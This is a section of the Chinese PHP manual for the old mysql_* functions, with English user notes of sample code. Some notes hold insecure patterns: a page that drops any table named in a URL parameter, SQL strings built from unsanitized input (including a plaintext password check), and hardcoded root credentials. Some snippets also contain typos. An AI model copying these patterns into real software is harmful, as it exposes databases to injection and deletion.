add a note add a note User Contributed Notes
arster
16-Oct-2005 03:05
# This should also give you an array of column names
$res = mysql_query("SHOW COLUMNS FROM `my_table`");
while ($row = mysql_fetch_array($res)) $col_names[]=$row[0];
harryzhong at hotmail dot com
26-Jul-2005 12:27
Here is a simple script get names of columns in an array:

//Get names of columns in table
$field_names = array();
$res = mysql_query("SHOW COLUMNS FROM `my_table`");
for($i=0;$i<mysql_num_rows($res);$i++){
   array_push($field_names,mysql_result($res, $i));
}
rhyous at yahoo dot com
05-Jun-2005 06:22
To make an array containing the names of a column from a table, you use the following simple script: (Note: using table1 with three columns)

$qColumnNames = mysql_query("SHOW COLUMNS FROM table1",$db) or die("mysql error");
$numColumns = mysql_num_rows($qColumnNames);
$x = 0;
while ($x < $numColumns)
{
   $colname = mysql_fetch_row($qColumnNames);
   $col[$colname[0]] = $colname[0];
   $x++;
}

print_r($col);

/* it will have the following output
Array (
[firstcolumn] => firstcolumn
[secondcolumn] => secondcolumn
[thirdcolumn] => thirdcolumn
)
*/

Or you can number the columns from zero.  This help when using it in conjunction with mysql_fetch_row to get an array.  You don't have to remember which number of the array a certain column is.

$qColumnNames = mysql_query("SHOW COLUMNS FROM table1",$db) or die("mysql error");
$numColumns = mysql_num_rows($qColumnNames);
$x = 0;
while ($x < $numColumns)
{
   $colname = mysql_fetch_row($qColumnNames);
   $col[$colname[0]] = $x;
   $x++;
}

print_r($col);

/* it will have the following output
Array (
[firstcolumn] => 0
[secondcolumn] => 1
[thirdcolumn] => 2
)
*/

To use it in conjuction with mysql_fetch_row:

$row = mysql_fetch_row("SELECT * from table1",$db) or die("mysql error");

You can now call $row[col[firstcolumn]].  This becomes useful when you have a lot of columns.
mbevan at marginsoftware dot com
14-Nov-2003 05:40
If you're willing to use a lot of functions to get a little information about fields in a table, this function is for you.  If you just want to get all the information you can find, you can use this:

<?php

// Taken from: http://ca.php.net/manual/en/function.mysql-field-flags.php
// Original by: amir at scrounch dot com
// Returns the name of the fields in the primary key for a table.
// Also keeps the fields in KEY order.  Handy.
function getPrimaryKeyOf($table) {
  $keys = Array();

  $query = sprintf("SHOW KEYS FROM `%s`", $table);
  $result = mysql_query($query) or die(mysql_error());

  while ($row = mysql_fetch_assoc($result)) {
   if ( $row['Key_name'] == 'PRIMARY' )
     $keys[$row['Seq_in_index'] - 1] = $row['Column_name'];
  }

  return $keys;
}

// Returns a bunch of information about a table...
// The name of the auto-increment field, if any, fields in the
// primary key (using the function above), and all information
// about all fields.
function getTableInformationOf($table) {
  $information = array(
     "auto"    => "",
     "primary" => array(),
     "fields"  => array()
   );

  $information['primary'] = $this->getPrimaryKeyOf($table);

  $result = mysql_query("DESC `$table`");
  while ( $field = mysql_fetch_assoc($result) ) {
   $information['fields'][] = $field;
   if ( $field['Extra'] == "auto_increment" )
     $information['auto'] = $field['Field'];
  }

  return $information;
}

?>
dom at brainwaveuk dot com
19-Jul-2002 10:55
mysql_list_fields() retrieves information about the given table name but you can use something like mysql_fetch_field to retrieve the field names from a result source.
add a note add a note

后退 | 起点 | 前进
mysql_list_dbs | 上一级 | mysql_list_processes


mysql_list_processes

(PHP 4 >= 4.3.0, PHP 5)

mysql_list_processes -- 列出 MySQL 进程

说明

resource mysql_list_processes ( [resource link_identifier] )

mysql_list_processes() 返回一个结果指针，说明了当前服务器的线程。

例子 1. mysql_list_processes() 例子

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');

$result = mysql_list_processes($link);
while ($row = mysql_fetch_assoc($result)){
    printf("%s %s %s %s %s\n", $row["Id"], $row["Host"], $row["db"],
       $row["Command"], $row["Time"]);
}
mysql_free_result ($result);
?>

以上例子将产生如下输出：

1 localhost test Processlist 0
4 localhost mysql sleep 5

参见 mysql_thread_id()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysql_list_fields | 上一级 | mysql_list_tables


mysql_list_tables

(PHP 3, PHP 4, PHP 5)

mysql_list_tables -- 列出 MySQL 数据库中的表

说明

resource mysql_list_tables ( string database [, resource link_identifier] )

mysql_list_tables() 接受一个数据库名并返回和 mysql_query() 函数很相似的一个结果指针。用 mysql_tablename() 函数来遍历此结果指针，或者任何使用结果表的函数，例如 mysql_fetch_array()。

database 参数是需要被取得其中的的表名的数据库名。如果失败 mysql_list_tables() 返回 FALSE。

为向下兼容仍然可以使用本函数的别名 mysql_listtables()，但反对这样做。

注: 该函数已经被删除了，请不要再使用该函数。您可以用命令 SHOW TABLES FROM DATABASE 来实现该函数的功能。

例子 1. mysql_list_tables() 例子

<?php
    $dbname = 'mysql_dbname';

    if (!mysql_connect('mysql_host', 'mysql_user', 'mysql_password')) {
        print 'Could not connect to mysql';
        exit;
    }

    $result = mysql_list_tables($dbname);

    if (!$result) {
        print "DB Error, could not list tables\n";
        print 'MySQL Error: ' . mysql_error();
        exit;
    }

    while ($row = mysql_fetch_row($result)) {
        print "Table: $row[0]\n";
    }

    mysql_free_result($result);
?>

参见 mysql_list_dbs() 和 mysql_tablename()。

add a note add a note User Contributed Notes
arturclemente at gmail dot com
04-Apr-2006 04:09
<?php

   // Search any world in entire database

   set_time_limit(0);

   $database = 'embratur';
   $word = 'tempo';

   echo "Search for word: <b>".$word."</b><br><br>";

   $connect = mysql_connect('localhost','root','123456');
   mysql_selectdb( $database, $connect );

   $j=0;
   $tables = mysql_list_tables( $database );

   while( $line = mysql_fetch_row( $tables ) )
   {
       $fields = mysql_list_fields( $database, $line[0], $connect );
       $columns = mysql_num_fields( $fields );

       for ($i = 0; $i < $columns; $i++) {
               $nomField = mysql_field_name( $fields, $i );
           $sql = "SELECT ".$nomField." FROM " . $line[0] .
               " WHERE " .
                   $nomField . " LIKE '%".$word."' LIMIT 1";

           $query = mysql_query( $sql );
           if( mysql_num_rows( $query ) > 0)
           {
               $result = mysql_fetch_array( $query );
               echo "Table: <b>".$line[0]."</b><br>";
               echo "Field: <b>".$nomField."</b><br>";
               echo "SQL: <b>".$sql."</b><br>";
               echo "Result: <b>" . str_replace( $word, "<font color='blue'>". $word . "</font>", $result[0] ) . "</b>";
               echo "<br><br>";
               $j++;
           }
       }
   }
   echo "<br><br><br>";
   echo "Results: ".$j;

?>
mrkvomail at centrum dot cz
30-Jan-2006 03:48
You can also do this with function mysql_query(). It's better because mysql_list_tables is old function and you can stop showing errors.

function mysql_table_exists($dbLink, $database, $tableName)
{
   $tables = array();
   $tablesResult = mysql_query("SHOW TABLES FROM $database;", $dbLink);
   while ($row = mysql_fetch_row($tablesResult)) $tables[] = $row[0];
   if (!$result) {
   }
   return(in_array($tableName, $tables));
}
Anonymous
15-Dec-2005 10:38
Getting the database status:
<?
// Get database status by DtTvB
// Connect first
mysql_connect  ('*********', '*********', '********');
mysql_select_db ('*********');

// Get the list of tables
$sql  = 'SHOW TABLES FROM *********';
if (!$result = mysql_query($sql)) { die ('Error getting table list (' . $sql . ' :: ' . mysql_error() . ')'); }

// Make the list of tables an array
$tablerow = array();
while ($row = mysql_fetch_array($result)) { $tablerow[] = $row; }

// Define variables...
$total_tables      = count($tablerow);
$statrow            = array();
$total_rows        = 0;
$total_rows_average = 0;
$sizeo              = 0;

// Get the status of each table
for ($i = 0; $i < count($tablerow); $i++) {
   // Query the status...
   $sql = "SHOW TABLE STATUS LIKE '{$tablerow[$i][0]}';";
   if (!$result = mysql_query($sql)) { die ('Error getting table status (' . $sql . ' :: ' . mysql_error() . ')'); }
   // Get the status array of this table
   $table_info = mysql_fetch_array($result);
   // Add them to the total results
   $total_rows        += $table_info[3];
   $total_rows_average += $table_info[4];
   $sizeo              += $table_info[5];
}

// Function to calculate size of the file
function c2s($bs) {
         if ($bs < 964)    { return round($bs)          . " Bytes"; }
   else if ($bs < 1000000) { return round($bs/1024,2)    . " KB"  ; }
   else                    { return round($bs/1048576,2) . " MB"  ; }
}

// Echo the result!!!!!!!!!
echo "{$total_rows} rows in {$total_tables} tables";
echo "<br>Average size in each row: " . c2s($total_rows_average/$total_tables);
echo "<br>Average size in each table: " . c2s($sizeo/$total_tables);
echo "<br>Database size: " . c2s($sizeo);

// Close the connection
mysql_close();
?>
sindijs at apollo dot lv
06-Sep-2005 08:21
Get next auto_increment value:
<?

  mysql_connect("localhost", "login", "passwd") or
         die("Cannot connect: " . mysql_error());

   mysql_select_db("db_name");

  $res = mysql_query("SHOW TABLE STATUS LIKE 'table_name' ") or die(mysql_error());

  $row_res = mysql_fetch_array($res);
  echo $row_res[Auto_increment];
 ?>
daveheslop (dave heslop)
08-May-2005 07:45
Worth noting for beginners: using a row count to test for the existence of a table only works if the table actually contains data, otherwise the test will return false even if the table exists.
wbphfox at xs4all dot nl
10-Sep-2003 12:55
Here is a way to show al the tables and have the function to drop them...

<?php

echo "<p align=\"left\">";
//this is the connection file for the database....
$connectfile = "connect.php";
require $connectfile;

$dbname = 'DATABASE NAME';

$result = mysql_list_tables($dbname);

echo "<table width=\"75%\" border=\"0\">";
echo  "<tr bgcolor=\"#993333\"> ";
echo    "<td><font face=\"Verdana, Arial, Helvetica, sans-serif\" size=\"-1\" color=\"#FFFFFF\">Table name:</font></td>";
echo    "<td><font face=\"Verdana, Arial, Helvetica, sans-serif\" size=\"-1\" color=\"#FFFFFF\">Delete?</font></td>";
echo  "</tr>";

   if (!$result) {
       print "DB Error, could not list tables\n";
       print 'MySQL Error: ' . mysql_error();
       exit;
   }

   while ($row = mysql_fetch_row($result)) {
       echo "<tr bgcolor=\"#CCCCCC\">";
echo    "<td>";
           print "$row[0]\n";
echo    "</td>";

echo    "<td>";
echo    "<a href=\"$PHP_SELF?action=delete&table=";
         print "$row[0]\n";
echo    "\">Yes?</a>";

echo    "</td>";

echo "</tr>";

   }

   mysql_free_result($result);

//Delete
if($action=="delete")
{
$deleteIt=mysql_query("DROP TABLE $table");
if($deleteIt)
{
echo "The table \"";
echo "$table\" has been deleted with succes!<br>";
}
else
{
echo "An error has occured...please try again<br>";
}
}

?>
thebitman at attbi dot com
07-May-2003 04:49
okay everybody, the fastest, most accurate, safest method:

function mysql_table_exists($table, $link)
{
     $exists = mysql_query("SELECT 1 FROM `$table` LIMIT 0", $link);
     if ($exists) return true;
     return false;
}

Note the "LIMIT 0", I mean come on, people, can't get much faster than that! :)
As far as a query goes, this does absolutely nothing. But it has the ability to fail if the table doesnt exist, and that's all you need!
daevid at daevid dot com
17-Dec-2002 08:36
I was in need of a way to create a database, complete with tables from a .sql file. Well, since PHP/mySQL doesn't allow that it seems, the next best idea was to create an empty template database and 'clone & rename it'. Guess what? There is no mysql_clone_db() function or any SQL 'CREATE DATABASE USING TEMPLATEDB' command. grrr...

So, this is the hack solution I came up with:

$V2DB = "V2_SL".$CompanyID;

$result = mysql_create_db($V2DB, $linkI);
if (!$result) $errorstring .= "Error creating ".$V2DB." database<BR>\n".mysql_errno($linkI).": ".mysql_error($linkI)."<BR>\n";

mysql_select_db ($V2DB, $linkI) or die ("Could not select ".$V2DB." Database");

//You must have already created the "V2_Template" database.
//This will make a clone of it, including data.

$tableResult = mysql_list_tables ("V2_Template");
while ($row = mysql_fetch_row($tableResult))
{
   $tsql = "CREATE TABLE ".$V2DB.".".$row[0]." AS SELECT * FROM V2_Template.".$row[0];
   echo $tsql."<BR>\n";
   $tresult = mysql_query($tsql,$linkI);
   if (!$tresult) $errorstring .= "Error creating ".$V2DB.".".$row[0]." table<BR>\n".mysql_errno($linkI).": ".mysql_error($linkI)."<BR>\n";
}
cdarklock at darklock dot com
07-Dec-2002 12:03
Actually, the initially posted SELECT COUNT(*) approach is flawless. SELECT COUNT(*) will provide one and only one row in response unless you can't select from the table at all. Even a brand new (empty) table responds with one row to tell you there are 0 records.

While other approaches here are certainly functional, the major problem comes up when you want to do something like check a database to ensure that all the tables you need exist, as I needed to do earlier today. I wrote a function called tables_needed() that would take an array of table names -- $check -- and return either an array of tables that did not exist, or FALSE if they were all there. With mysql_list_tables(), I came up with this in the central block of code (after validating parameters, opening a connection, selecting a database, and doing what most people would call far too much error checking):

if($result=mysql_list_tables($dbase,$conn))
{  // $count is the number of tables in the database
   $count=mysql_num_rows($result);
   for($x=0;$x<$count;$x++)
   {
       $tables[$x]=mysql_tablename($result,$x);
   }
   mysql_free_result($result);
   // LOTS more comparisons here
   $exist=array_intersect($tables,$check);
   $notexist=array_diff($exist,$check);
   if(count($notexist)==0)
   {
       $notexist=FALSE;
   }
}

The problem with this approach is that performance degrades with the number of tables in the database. Using the "SELECT COUNT(*)" approach, performance only degrades with the number of tables you *care* about:

// $count is the number of tables you *need*
$count=count($check);
for($x=0;$x<$count;$x++)
{
   if(mysql_query("SELECT COUNT(*) FROM ".$check[$x],$conn)==FALSE)
   {
       $notexist[count($notexist)]=$check[$x];
   }
}
if(count($notexist)==0)
{
   $notexist=FALSE;
}

While the increase in speed here means virtually nothing to the average user who has a database-driven backend on his personal web site to handle a guestbook and forum that might get a couple hundred hits a week, it means EVERYTHING to the professional who has to handle tens of millions of hits a day... where a single extra millisecond on the query turns into more than a full day of processing time. Developing good habits when they don't matter keeps you from having bad habits when they *do* matter.
30-Oct-2002 09:42
<?
/*
   Function that returns whole size of a given MySQL database
   Returns false if no db by that name is found
*/

  function getdbsize($tdb) {
   $db_host='localhost';
   $db_usr='USER';
   $db_pwd='XXXXXXXX';
   $db = mysql_connect($db_host, $db_usr, $db_pwd) or die ("Error connecting to MySQL Server!\n");
   mysql_select_db($tdb, $db);

   $sql_result = "SHOW TABLE STATUS FROM " .$tdb;
   $result = mysql_query($sql_result);
   mysql_close($db);

   if($result) {
       $size = 0;
       while ($data = mysql_fetch_array($result)) {
             $size = $size + $data["Data_length"] + $data["Index_length"];
       }
       return $size;
   }
   else {
       return FALSE;
   }
  }

?>

<?
/*
   Implementation example
*/

  $tmp = getdbsize("DATABASE_NAME");
  if (!$tmp) { echo "ERROR!"; }
  else { echo $tmp; }
?>
mail at thomas-hoerner dot de
05-Oct-2002 12:24
You can also use mysql_fetch_object if you consider a specialty: The name of the object-var is

Tables_in_xxxxx

where xxxxx is the name of the database.

i.e. use

$result = mysql_list_tables($dbname);
$varname="Tables_in_".$dbname;
while ($row = mysql_fetch_object($result)) {
   echo $row->$varname;
};
NewToPHP_Guy at Victoria dot NOSPAM dot com
03-Oct-2002 05:06
The example by PHP-Guy to determine if a table exists is interesting and useful (thanx), except for one tiny detail.  The function 'mysql_list_tables()' returns table names in lower case even when tables are created with mixed case.  To get around this problem, add the 'strtolower()' function in the last line as follows:

return(in_array(strtolower($tableName), $tables));
coffee at hayekheaven dot net
18-Jun-2002 08:48
Even though php guy's solution is probably the fastest here's another one just for the heck of it...
I use this function to check whether a table exists. If not it's created.

mysql_connect("server","usr","pwd")
   or die("Couldn't connect!");
mysql_select_db("mydb");

$tbl_exists = mysql_query("DESCRIBE sometable");
if (!$tbl_exists) {
mysql_query("CREATE TABLE sometable (id int(4) not null primary key,
somevalue varchar(50) not null)");
}
add a note add a note

后退 | 起点 | 前进
mysql_list_processes | 上一级 | mysql_num_fields


mysql_num_fields

(PHP 3, PHP 4, PHP 5)

mysql_num_fields -- 取得结果集中字段的数目

说明

int mysql_num_fields ( resource result )

mysql_num_fields() 返回结果集中字段的数目。

参见 mysql_select_db()，mysql_query()，mysql_fetch_field() 和 mysql_num_rows()。

为向下兼容仍然可以使用 mysql_numfields()，但反对这样做。

add a note add a note User Contributed Notes
tharkey at tharkey dot net
20-Jun-2003 02:26
You can use it without a requete, just to list the fields :

$liste_champs = mysql_list_fields ( $Base, $Table, $connexion);

for ($i=0; $i < mysql_num_fields ($l_champs); $i++) {
                       echo ( mysql_field_name ($l_champs, $i) );
                       echo (' / ');
                       }
apass AT passmoore DOT com
02-Oct-2002 06:52
Adding to the last comment: you can dynamically loop through any number of  columns AND rows like so-

$query="your SQL";
$result=mysql_query($query) or die("Query ($query) sucks!");
$fields=mysql_num_fields($result);

echo "<table>\n<tr>";
for ($i=0; $i < mysql_num_fields($result); $i++) //Table Header
{ print "<th>".mysql_field_name($result, $i)."</th>"; }
echo "</tr>\n";
while ($row = mysql_fetch_row($result)) { //Table body
echo "<tr>";
   for ($f=0; $f < $fields; $f++) {
   echo "<td>$row[$f]</td>"; }
echo "</tr>\n";}
echo "</table><p>";

This has been tested.
matt at iwdt dot net
24-Sep-2001 09:09
here's one way to print out a row of <th> tags from a table
NOTE: i didn't test this

$result = mysql_query("select * from table");

for ($i = 0; $i < mysql_num_fields($result); $i++) {
   print "<th>".mysql_field_name($result, $i)."</th>\n";
}

post a comment if there's an error
bwark at stanford dot edu
24-Dec-2000 06:56
If you just want the number of fields in a table, you can do something like this:
--
$db_id = mysql_connet();
$result = mysql_query("DESCRIBE [tableName], $db_id);

$numFields = mysql_num_rows($result);
--
Because "DESCRIBE" returns one row for each field in the table (at least in MySQL), this will work.
dubious at 2xtreme dot net
13-Sep-2000 05:35
Examples?  How about this for a highly contrived but hopefully understandable example:
------------------------
<?php
function DoAQuery($Query)
   {
   $Result=mysql_db_query($Query);
   $NumberOfFields=mysql_num_fields($Result);
   print("There are $NumberOfFields Columns in the result<br>");
   }
   $ConnectionResource=mysql_connect("localhost","User","Password");
$Query="SELECT This, That, TheOther from Some_Table ORDER BY This";

DoAQuery($Query);
?>
-------------------------
Presuming I did that right, the entire output of this snippet should be "There are 3 Columns in the result" (assuming you actually have a mysql database with those fields, etc.)  Presumably, in the Real World, you'd be using mysql_num_fields for formatting and such.

Hey, I SAID it was highly contrived, didn't I?
add a note add a note

后退 | 起点 | 前进
mysql_list_tables | 上一级 | mysql_num_rows


mysql_num_rows

(PHP 3, PHP 4, PHP 5)

mysql_num_rows -- 取得结果集中行的数目

说明

int mysql_num_rows ( resource result )

mysql_num_rows() 返回结果集中行的数目。此命令仅对 SELECT 语句有效。要取得被 INSERT，UPDATE 或者 DELETE 查询所影响到的行的数目，用 mysql_affected_rows()。

例子 1. mysql_num_rows() 例子

<?php

$link = mysql_connect("localhost", "mysql_user", "mysql_password");
mysql_select_db("database", $link);

$result = mysql_query("SELECT * FROM table1", $link);
$num_rows = mysql_num_rows($result);

echo "$num_rows Rows\n";

?>

注: 如果使用 mysql_unbuffered_query()，则直到结果集中的所有行都被提取后 mysql_num_rows() 才能返回正确的值。

参见 mysql_affected_rows()，mysql_connect()，mysql_data_seek()，mysql_select_db() 和 mysql_query()。

为向下兼容仍然可以使用 mysql_numrows()，但反对这样做。

add a note add a note User Contributed Notes
eriline dot mees at mail dot ee
28-Dec-2005 12:28
If you have a problem using:
   $res1=mysql_query("select SQL_CALC_FOUND_ROWS * from minutabel LIMIT 20");
   $res2=mysql_query("select FOUND_ROWS()");
($res2 got always "0")
then be sure the php.ini config option "mysql.trace_mode" is "Off".

You can use
   $vana=ini_set('mysql.trace_mode','Off');
   // do your $res1 and $res2 queries.
   ini_set('mysql.trace_mode',$vana);
for temporary disabling.
Jonas
09-Dec-2005 05:55
A small tip concerning SQL_CALC_FOUND_ROWS and FOUND_ROWS()

Remember that you can us "AS" when working with mysql_fetch_assoc.

$sql="
   SELECT
       FOUND_ROWS() AS `found_rows`;
";
$result = mysql_query($sql);
$myrow = mysql_fetch_assoc($result);
$row_count = $myrow['found_rows'];

echo $row_count;
mancini at nextcode dot org
15-Nov-2005 05:24
here is a really fast mysql_num_rows alternative that makes use of the SELECT FOUND_ROWS() MySQL function , it only reads a single row and it is really helpfull if you are counting multiple tables with thousands of rows

<?php
function get_rows ($table) {
       $temp = mysql_query("SELECT SQL_CALC_FOUND_ROWS * FROM $table LIMIT 1");
       $result = mysql_query("SELECT FOUND_ROWS()");
       $total = mysql_fetch_row($result);
       return $total[0];
}
?>
simon_nuttall at hotmail dot com
12-Nov-2005 11:36
Object oriented version of wil1488 at gmail dot com's comment for counting table rows:
<?php
$result = $mysqli->query("SELECT COUNT(*) as TOTALFOUND from table");
$row_array=$result->fetch_array(MYSQLI_ASSOC);
print($row_array['TOTALFOUND']);
?>
jonbendi @t stud o ntnu o no
07-Nov-2005 10:16
I find that mysql_num_rows() overlook LIMIT clauses.
For instance:

//table has 700 rows
$command = "SELECT * FROM table LIMIT 500";
$q = mysql_query($command);
$rows = mysql_num_rows($q);

//$rows is 700
thismelancholy at ilovebubbles dot net
29-Sep-2005 06:27
Ive noticed that on some servers one need to put "or die(mysql_error())" when you use mysql_num_rows(), or else it will throw an error. :S
Rancid m+m
30-Jun-2005 10:58
In PHP 5, mysql_affected_rows looks for the link as the first parameter, not a MySQL result.
wil1488 at gmail dot com
01-Jun-2005 10:53
To use SQL COUNT function, without select the source...

see an example:

<?
//MAKE THE CONNECTION WITH DATABASE

$my_table = mysql_query("SELECT COUNT(*) as TOTALFOUND from table", $link); //EXECUTE SQL CODE
Note: will return the total on TOTALFOUND

print (mysql_result($my_table,0,"TOTALFOUND")); //use the field camp to get the total from your SQL query!
?>

Thanks, good luck.
jsirovic AT g male dot com
19-May-2005 11:34
The reason it's just as slow is that to count that way as it is to fetch, minus the data transfer.

Even when executing a limit query, when you ask it to fetch the number of total rows, it must scan the whole table every time to calculate the count.
alex dot feinberg 4t gm41l
29-Apr-2005 06:56
Re dzver at abv dot bg's note...

I just ran some tests using MySQL Super Smack. Surprisingly, a SELECT * followed by a SELECT COUNT(*) actually was close in speed to a SELECT SQL_CALC_FOUND_ROWS * followed by a SELECT FOUND_ROWS(), but the SQL_CALC_FOUND_ROWS solution was still a bit faster.

Perhaps it varies by table structure? Either way, it might be worth checking which is faster for your application.
liamvictor at gmail dot com
13-Apr-2005 08:22
// this works properly
$query = "SELECT first_name FROM users_tbl WHERE user_id='$user_id' AND password = '$p0' ";
$result = mysql_query($query, $connection) or die ("<p class=err>Error - Query failed: ".mysql_error()."</p>");
$num_rows = mysql_num_rows($result);
if ($num_rows){
   while ($myrow = mysql_fetch_row($result)){
       $first_name = $myrow[0];
       print ("<p>Line:".__LINE__." num_rows:$num_rows first_name:$first_name <br> $query</p>");
   }
}else{
   print ("<p>Password error.</p>");
}

// Here 1 row is returned with a value of 0 when the password is wrong rather than reporting the password error.
$query = "SELECT COUNT(first_name) FROM users_tbl WHERE user_id='$user_id' AND password = '$p0' ";
$result = mysql_query($query, $connection) or die ("<p class=err>Error - Query failed: ".mysql_error()."</p>");
$num_rows = mysql_num_rows($result);
if ($num_rows){
   while ($myrow = mysql_fetch_row($result)){
       $count_first_name = $myrow[0];
       print ("<p>Line:".__LINE__." num_rows:$num_rows count:$count_first_name <br> $query</p>");
   }
}else{
   print ("<p>Password error.</p>");
}
dzver at abv dot bg
20-Feb-2005 09:00
It is faster to run second query "select count(...) from ... ", than adding SQL_CALC_FOUND_ROWS to your first query, and then using select FOUND_ROWS() + mysql_num_rows().
30-Jan-2005 09:18
In response to oran at trifeed dot com:

You are only experiencing this behaviour because you have not given your FOUND_ROWS() result an alias:

$qry = mysql_query ( 'SELECT FOUND_ROWS() AS total' );
$rst = mysql_fetch_array ( $qry, MYSQL_ASSOC );
echo $rst['total'];

Sean :)
oran at trifeed dot com
16-Dec-2004 01:06
For me

SELECT SQL_CALC_FOUND_ROWS together with
SELECT FOUND_ROWS()

Only worked with the following syntax:
$result = @mysql_query($query);
$resultTotal = @mysql_query("SELECT FOUND_ROWS()");
$res=    mysql_fetch_array($resultTotal);
echo $res['FOUND_ROWS()'];

hope it helped

oran
http://www.trifeed.com
pjoe444 at yahoo dot com
19-Nov-2004 07:38
Re my last entry:

This seems the best workaround to get an 'ordinary' loop going, with possibility of altering output according to row number
(eg laying out a schedule)

$rowno=mysql_num_rows($result);

for ($i=0; $i<mysql_num_rows($result); $i++) {
$row = mysql_fetch_assoc($result);

print "<div class=\"showing\">";
print "<b>".$row['timeon']."-".$row['timeoff']."</b> ".$row['event']."<br />;
if ($i!=$rowno-1) {
   print "other-html-within-sched-here</div>";
   }
else print "end-last-entry-html-here</div>";
}  //close loop
pjoe444 at yahoo dot com
19-Nov-2004 06:24
A pity there seems no way of getting the CURRENT  row number that's under iteration in a typical loop,
such as:
while ($row = mysql_fetch_assoc($result)) { }

After all there is an array of row arrays, as signified by
mysql_num_rows($result):

Say this gives "40 rows" : it would be useful to know when the iteration is on row 39.

The nearest seems to be "data seek":but it connects directly to a
row number eg (from mysql_data_seek page)

for ($i = mysql_num_rows($result) - 1; $i >= 0; $i--) {
   if (!mysql_data_seek($result, $i)) {
       echo "Cannot seek to row $i: " . mysql_error() . "\n";
       continue;
   }

= it still wouldn't solve knowing what row number you're on in an ordinary loop.

One reason for this situation is the php fetch (fetch-a-single-row) construction, without any reasonable FOR loop possibility with row numbers.

Suggestion:
$Rows[$i] possibility where
$i would be the row number

$Rows[$row[], $row[], $row[].....]
             0            1            2    etc

-- the excellent retrieval WITHIN a row ( $row[$i] ),
while certainly more important,  is not matched by
similar possibilities for rows themselves.

and Count($result) doesnt work of course, $result being a
mere ticket-identifier...

Peter T
They call me .. "Blaqy"
09-Nov-2004 11:30
Just wanted to add my 2 cents in regards to the mysql functions:
SQL_CALC_FOUND_ROWS
SELECT FOUND_ROWS()

It was difficult finding any information on PHP usage.
What wasn't (or currently isn't) mentioned is that:

$query = "SELECT FOUND_ROWS()";

Will return a 'recordset' .. that holds the 'number of rows', not the actual value.  So the correct usage is:

$result = mysql_query($query);
$total_records = mysql_result($result, 0);

Not:
$total_records = mysql_query($query);

As some of the literature .. may suggest to you.
sam at liddicott dot com
04-Nov-2004 09:40
Some user comments on this page, and some resources including the FAQ at :

http://www.faqts.com/knowledge_base/view.phtml/aid/114/fid/12 suggest using count(*) to count the number of rows

This is not a particularly universal solution, and those who read these comments on this page should also be aware that

select count(*) may not give correct results if you are using "group by" or "having" in your query, as count(*) is an agregate function and resets eachtime a group-by column changes.

select sum(..) ... left join .. group by ... having ...

can be an alternative to sub-selects in mysql 3, and such queries cannot have the select fields replaced by count(*) to give good results, it just doesn't work.

Sam
aaronp123 att yahoo dott comm
22-Feb-2003 09:40
I may indeed be the only one ever to encounter this - however if you have a myisam table with one row, and you search with valid table and column name for a result where you might expect 0 rows, you will not get 0, you will get 1, which is the myisam optimised response when a table has 0 or one rows.  Under "5.2.4 How MySQL Optimises WHERE Clauses" it reads:

*Early detection of invalid constant expressions. MySQL quickly detects that some SELECT statements are impossible and returns no rows.

and

*All constant tables are read first, before any other tables in the query. A constant table is:
1) An empty table or a table with 1 row.
2) A table that is used with a WHERE clause on a UNIQUE index, or a PRIMARY KEY, where all index parts are used with constant expressions and the index parts are defined as NOT NULL.

Hopefully this will keep someone from staying up all night with 1146 errors, unless I am completely mistaken in thinking I have this figured out.
webmaster at _NOSPAM_elite-gaming dot com
11-Oct-2002 10:48
The fastest way to get the number of rows in a table is doing this:

$total = mysql_result(mysql_query("SELECT COUNT(id) FROM yourtable"),0);

As long as there are no NULL ids (shouldnt be), it will return the correct rows extremely fast.  If you already used yourtable though, it is faster to use mysql_num_rows() on the result of it.
tac at smokescreen dot org
14-Jan-2002 03:58
MySQL 4.0 supports a fabulous new feature that allows you to get the number of rows that would have been returned if the query did not have a LIMIT clause.  To use it, you need to add SQL_CALC_FOUND_ROWS to the query, e.g.

$sql = "Select SQL_CALC_FOUND_ROWS * from table where state='CA' limit 50";
$result = mysql_query($sql);

$sql = "Select FOUND_ROWS()";
$count_result = mysql_query($sql);

You now have the total number of rows in table that match the criteria.  This is great for knowing the total number of records when browsing through a list.
philip at cornado dot c()m
07-May-2001 02:37
Regarding SQL count(), see this faq :
* http://www.faqts.com/knowledge_base/view.phtml/aid/114/fid/12
Note: If you already have a $result, use mysql_num_rows() on it otherwise use SQL count().  Don't SELECT data just for a count.
add a note add a note

后退 | 起点 | 前进
mysql_num_fields | 上一级 | mysql_pconnect


mysql_pconnect

(PHP 3, PHP 4, PHP 5)

mysql_pconnect -- 打开一个到 MySQL 服务器的持久连接

说明

resource mysql_pconnect ( [string server [, string username [, string password [, int client_flags]]]] )

如果成功则返回一个正的 MySQL 持久连接标识符，出错则返回 FALSE。

mysql_pconnect() 建立一个到 MySQL 服务器的连接。如果没有提供可选参数，则使用如下默认值：server = 'localhost:3306'，username = 服务器进程所有者的用户名，password = 空密码。client_flags 参数可以是以下常量的组合：MYSQL_CLIENT_COMPRESS，MYSQL_CLIENT_IGNORE_SPACE 或者 MYSQL_CLIENT_INTERACTIVE。

server 参数也可以包括端口号，例如 "hostname:port"，或者是本机套接字的的路径，例如 ":/path/to/socket"。

注: 对 ":port" 的支持是 3.0B4 版添加的。

对 ":/path/to/socket" 的支持是 3.0.10 版添加的。

mysql_pconnect() 和 mysql_connect() 非常相似，但有两个主要区别。

首先，当连接的时候本函数将先尝试寻找一个在同一个主机上用同样的用户名和密码已经打开的（持久）连接，如果找到，则返回此连接标识而不打开新连接。

其次，当脚本执行完毕后到 SQL 服务器的连接不会被关闭，此连接将保持打开以备以后使用（mysql_close() 不会关闭由 mysql_pconnect() 建立的连接）。

可选参数 client_flags 自 PHP 4.3.0 版起可用。

此种连接称为“持久的”。

注: 注意，此种连接仅能用于模块版本的 PHP。更多信息参见数据库持久连接一节。

警告

使用持久连接需要调整一些 Apache 和 MySQL 的配置以使不会超出 MySQL 所允许的连接数目。

add a note add a note User Contributed Notes
3ch0
21-May-2006 05:01
pconnect is preferred when you are using a remote database server on a major web site. mysql in particular stays happier with 1 open connection as opposed to 1000 connections a minute =)
Ron
15-Sep-2005 11:34
Here's a nifty little class which will load balance across multiple replicated MySQL server instances, using persistent connections, automatically removing failed MySQL servers from the pool.

You would ONLY use this for queries, never inserts/updates/deletes, UNLESS you had a multi-master situation where updates to any database serverautomatically replicate to the other servers (I don't know whether that's possible with MySQL).

Using this class, you get a connection to a MySQL server like this:
   $con = MySQLConnectionFactory::create();

